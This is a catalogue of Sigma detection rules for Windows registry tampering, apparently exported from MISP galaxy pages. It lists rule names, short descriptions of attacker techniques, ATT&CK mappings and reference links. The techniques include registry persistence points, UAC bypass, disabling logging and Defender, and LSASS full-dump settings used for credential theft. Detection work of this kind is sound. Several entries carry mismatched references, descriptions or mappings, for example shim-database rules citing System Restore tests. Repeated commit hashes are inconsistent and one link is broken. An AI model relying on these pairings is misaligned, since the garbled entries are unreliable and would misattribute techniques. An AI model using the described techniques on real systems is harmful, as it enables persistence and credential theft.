Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary

The tag is: `misp-galaxy:sigma-rules="Persistence Via Hhctrl.ocx"`
Registry Disable System Restore

Detects the modification of the registry to disable a system restore on the computer

The tag is: `misp-galaxy:sigma-rules="Registry Disable System Restore"`

View relationships graph

Registry Disable System Restore has relationships with:


Table 8788. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6dfcdd37427bfcf3656ee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6dfcdd37427bfcf3656ee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/disable_system_restore.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/disable_system_restore.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via Shim Database In Uncommon Location

Detects the installation of a new shim database where the file is located in a non-default location

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Shim Database In Uncommon Location"`

View relationships graph

Potential Persistence Via Shim Database In Uncommon Location has relationships with:


Table 8789. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6dfcdd37427bfcf3656ee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6dfcdd37427bfcf3656ee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/disable_system_restore.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/disable_system_restore.yml</a></td>
</tr>
</tbody>
</table>
Potential Registry Persistence Attempt Via Windows Telemetry

Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.

The tag is: misp-galaxy:sigma-rules="Potential Registry Persistence Attempt Via Windows Telemetry"

PowerShell Logging Disabled Via Registry Key Tampering

Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging

The tag is: misp-galaxy:sigma-rules="PowerShell Logging Disabled Via Registry Key Tampering"
New BgInfo.EXE Custom WMI Query Registry Configuration

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe"

The tag is: `misp-galaxy:sigma-rules="New BgInfo.EXE Custom WMI Query Registry Configuration"`

View relationships graph

Winlogon AllowMultipleTSSessions Enable

Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users

The tag is: `misp-galaxy:sigma-rules="Winlogon AllowMultipleTSSessions Enable"`

View relationships graph
Add DisallowRun Execution to Registry

Detect set DisallowRun to 1 to prevent user running specific computer program

The tag is: `misp-galaxy:sigma-rules="Add DisallowRun Execution to Registry"`

View relationships graph

Add DisallowRun Execution to Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

IE Change Domain Zone

Hides the file extension through modification of the registry

The tag is: `misp-galaxy:sigma-rules="IE Change Domain Zone"`

View relationships graph

IE Change Domain Zone has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"` with estimative-language:likelihood-probability="almost-certain"
Potential Persistence Via DLLPathOverride

Detects when an attacker adds a new "DLLPathOverride" value to the "Natural Language" key in order to achieve persistence which will get invoked by "SearchIndexer.exe" process

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via DLLPathOverride"`

**Table 8796. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/naturallanguage6.html">https://persistence-info.github.io/Data/naturallanguage6.html</a></td>
</tr>
<tr>
<td><a href="https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/">https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml</a></td>
</tr>
</tbody>
</table>

Lolbas OneDriveStandaloneUpdater.exe Proxy Download

Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\reSignInSettingsConfig.json

The tag is: `misp-galaxy:sigma-rules="Lolbas OneDriveStandaloneUpdater.exe Proxy Download"`

**View relationships graph**

Lolbas OneDriveStandaloneUpdater.exe Proxy Download has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 8797. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/">https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml</a></td>
</tr>
</tbody>
</table>
UAC Bypass via Event Viewer

Detects UAC bypass method using Windows event viewer

The tag is: `misp-galaxy:sigma-rules="UAC Bypass via Event Viewer"`

View relationships graph

UAC Bypass via Event Viewer has relationships with:


Table 8798. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cddb1dfe7446f3f51f?environmenlid=100">https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cddb1dfe7446f3f51f?environmenlid=100</a></td>
</tr>
</tbody>
</table>

Wow6432Node Windows NT CurrentVersion Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: `misp-galaxy:sigma-rules="Wow6432Node Windows NT CurrentVersion Autorun Keys Modification"`

View relationships graph

Wow6432Node Windows NT CurrentVersion Autorun Keys Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8799. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dcd3742b6c3f365fee2a9/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7dcd3742b6c3f365fee2a9/atomics/T1547.001/T1547.001.md</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d">https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d</a></td>
</tr>
</tbody>
</table>
Potential Persistence Via Mpnotify

Detects when an attacker register a new SIP provider for persistence and defense evasion

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Mpnotify"`

Table 8800. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/mpnotify.html">https://persistence-info.github.io/Data/mpnotify.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=ggY3srD9dYs&amp;ab_channel=GrzegorzTworek">https://www.youtube.com/watch?v=ggY3srD9dYs&amp;ab_channel=GrzegorzTworek</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mpnotify.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mpnotify.yml</a></td>
</tr>
</tbody>
</table>

CurrentControlSet Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: `misp-galaxy:sigma-rules="CurrentControlSet Autorun Keys Modification"`

View relationships graph

CurrentControlSet Autorun Keys Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8801. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d">https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_asep_reg_keys_modification_currentcontrolset.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_asep_reg_keys_modification_currentcontrolset.yml</a></td>
</tr>
</tbody>
</table>

Potential EventLog File Location Tampering

Detects tampering with EventLog service "file" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting

The tag is: `misp-galaxy:sigma-rules="Potential EventLog File Location Tampering"`

View relationships graph

Potential EventLog File Location Tampering has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 8802. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_event_file_key_tamper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_event_file_key_tamper.yml</a></td>
</tr>
</tbody>
</table>

Add Debugger Entry To AeDebug For Persistence

Detects when an attacker adds a new "Debugger" value to the "AeDebug" key in order to achieve persistence which will get invoked when an application crashes.

The tag is: misp-galaxy:sigma-rules="Add Debugger Entry To AeDebug For Persistence"

Table 8803. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/aedebug.html">https://persistence-info.github.io/Data/aedebug.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aeddebug_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aeddebug_persistence.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Application Allowed Through Exploit Guard

Detects applications being added to the "allowed applications" list of exploit guard in order to bypass controlled folder settings.

The tag is: misp-galaxy:sigma-rules="Suspicious Application Allowed Through Exploit Guard"

View relationships graph

Suspicious Application Allowed Through Exploit Guard has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8804. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml</a></td>
</tr>
</tbody>
</table>
System Scripts Autorun Keys Modification

Detscts modification of autostart extensibility point (ASEP) in registry.

The tag is: misp-galaxy:sigma-rules="System Scripts Autorun Keys Modification"

View relationships graph

System Scripts Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 8805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05fd6057fdffcd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05fd6057fdffcd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns">https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d">https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml</a></td>
</tr>
</tbody>
</table>

Disabled RestrictedAdminMode For RDS

Detect activation of DisableRestrictedAdmin to disable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise.

The tag is: misp-galaxy:sigma-rules="Disabled RestrictedAdminMode For RDS"

View relationships graph

Disabled RestrictedAdminMode For RDS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8806. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md">https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_disablerestrictedadmin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_disablerestrictedadmin.yml</a></td>
</tr>
</tbody>
</table>
**Lsass Full Dump Request Via DumpType Registry Settings**

Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS.

The tag is: `misp-galaxy: sigma-rules="Lsass Full Dump Request Via DumpType Registry Settings"`

View relationships graph

Lsass Full Dump Request Via DumpType Registry Settings has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 8807. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/deepinstinct/Lsass-Shtinkering">https://github.com/deepinstinct/Lsass-Shtinkering</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa</a> ss_usernode_dumping.yml</td>
</tr>
</tbody>
</table>

**DHCP Callout DLL Installation**

Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)

The tag is: `misp-galaxy: sigma-rules="DHCP Callout DLL Installation"`

View relationships graph

DHCP Callout DLL Installation has relationships with:


- related-to: `misp-galaxy: mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

*Table 8808. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx">https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx</a></td>
</tr>
</tbody>
</table>
Microsoft Office Protected View Disabled

Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.

The tag is: `misp-galaxy: sigma-rules="Microsoft Office Protected View Disabled"`

View relationships graph

Microsoft Office Protected View Disabled has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8809. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/">https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/</a></td>
</tr>
<tr>
<td><a href="https://admx.help/HKCU/software/policies/microsoft/office/16.0/excel/security/protectedview">https://admx.help/HKCU/software/policies/microsoft/office/16.0/excel/security/protectedview</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/">https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/</a></td>
</tr>
</tbody>
</table>

Hiding User Account Via SpecialAccounts Registry Key

Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

The tag is: `misp-galaxy: sigma-rules="Hiding User Account Via SpecialAccounts Registry Key"`

View relationships graph

Hiding User Account Via SpecialAccounts Registry Key has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Hidden Users - T1564.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8810. Table References
Potential Persistence Via Shim Database Modification

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.

The tag is: `misp-galaxy: sigma-rules="Potential Persistence Via Shim Database Modification"`

Bypass UAC Using DelegateExecute

Bypasses User Account Control using a fileless method

The tag is: `misp-galaxy: sigma-rules="Bypass UAC Using DelegateExecute"`
Modification of IE Registry Settings

Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence.

The tag is: `misp-galaxy:sigma-rules="Modification of IE Registry Settings"`

PowerShell as a Service in Registry

Detects that a powershell code is written to the registry as a service.

The tag is: `misp-galaxy:sigma-rules="PowerShell as a Service in Registry"`
PowerShell as a Service in Registry has relationships with:


Table 8814. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml</a></td>
</tr>
</tbody>
</table>

Enabling COR Profiler Environment Variables

Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.

The tag is: misp-galaxy:sigma-rules="Enabling COR Profiler Environment Variables"

Table 8815. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors">https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/cyber-security-summit/archives">https://www.sans.org/cyber-security-summit/archives</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jamieantisocial/status/1304520651248668673">https://twitter.com/jamieantisocial/status/1304520651248668673</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Printer Driver Empty Manufacturer

Detects a suspicious printer driver installation with an empty Manufacturer value

The tag is: misp-galaxy:sigma-rules="Suspicious Printer Driver Empty Manufacturer"
Set TimeProviders DllName

Detects processes setting a new DLL in DllName in under HKKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.

The tag is: misp-galaxy:sigma-rules="Set TimeProviders DllName"

View relationships graph

Uncommon Extension In Keyboard Layout IME File Registry Value

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGERREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

The tag is: misp-galaxy:sigma-rules="Uncommon Extension In Keyboard Layout IME File Registry Value"

View relationships graph
Uncommon Extension In Keyboard Layout IME File Registry Value has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8818. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/">https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_non_default_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_non_default_extension.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Environment Variable Has Been Registered**

Detects the creation of user-specific or system-wide environment variables via the registry. Which contains suspicious commands and strings

The tag is: misp-galaxy:sigma-rules="Suspicious Environment Variable Has Been Registered"

Table 8819. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://infosec.exchange/@sbousseaden/109542254124022664">https://infosec.exchange/@sbousseaden/109542254124022664</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suspicious_env_variables.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suspicious_env_variables.yml</a></td>
</tr>
</tbody>
</table>

**Change User Account Associated with the FAX Service**

Detect change of the user account associated with the FAX service to avoid the escalation problem.

The tag is: misp-galaxy:sigma-rules="Change User Account Associated with the FAX Service"

View relationships graph

Change User Account Associated with the FAX Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8820. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/dottor_morte/status/1544652325570191361">https://twitter.com/dottor_morte/status/1544652325570191361</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml</a></td>
</tr>
</tbody>
</table>
Disable Administrative Share Creation at Startup

Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system.

The tag is: misp-galaxy: sigma-rules="Disable Administrative Share Creation at Startup"

Table 8821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/339ed7da7d05f6057dfcdd3742bf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup">https://github.com/redcanaryco/atomic-red-team/blob/339ed7da7d05f6057dfcdd3742bf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Shim Database Patching Activity

Detects installation of new shim databases that try to patch sections of known processes for potential process injection or persistence.

The tag is: misp-galaxy: sigma-rules="Suspicious Shim Database Patching Activity"

Table 8822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html">https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database_susp_application.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database_susp_application.yml</a></td>
</tr>
</tbody>
</table>
Outlook Security Settings Updated - Registry

Detects changes to the registry values related to outlook security settings.

The tag is: `misp-galaxy:sigma-rules="Outlook Security Settings Updated - Registry"`

View relationships graph

Outlook Security Settings Updated - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddc3742bfcf365fee2a9/atomics/T1137/T1137.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddc3742bfcf365fee2a9/atomics/T1137/T1137.md</a></td>
</tr>
</tbody>
</table>

New Netsh Helper DLL Registered From A Suspicious Location

Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper.

The tag is: `misp-galaxy:sigma-rules="New Netsh Helper DLL Registered From A Suspicious Location"`

View relationships graph

New Netsh Helper DLL Registered From A Suspicious Location has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8824. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Disable Exploit Guard Network Protection on Windows Defender

Detects disabling Windows Defender Exploit Guard Network Protection

The tag is: misp-galaxy:sigma-rules="Disable Exploit Guard Network Protection on Windows Defender"

View relationships graph

Disable Exploit Guard Network Protection on Windows Defender has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8825. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml</a></td>
</tr>
</tbody>
</table>

Office Macros Auto-Enabled

Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.

The tag is: misp-galaxy:sigma-rules="Office Macros Auto-Enabled"

View relationships graph

Office Macros Auto-Enabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8826. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/inversecos/status/1494174785621819397">https://twitter.com/inversecos/status/1494174785621819397</a></td>
</tr>
</tbody>
</table>
Potential Persistence Via LSA Extensions

Detects when an attacker modifies the "REG_MULTI_SZ" value named "Extensions" to include a custom DLL to achieve persistence via lsass. The "Extensions" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via LSA Extensions"

Table 8827. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
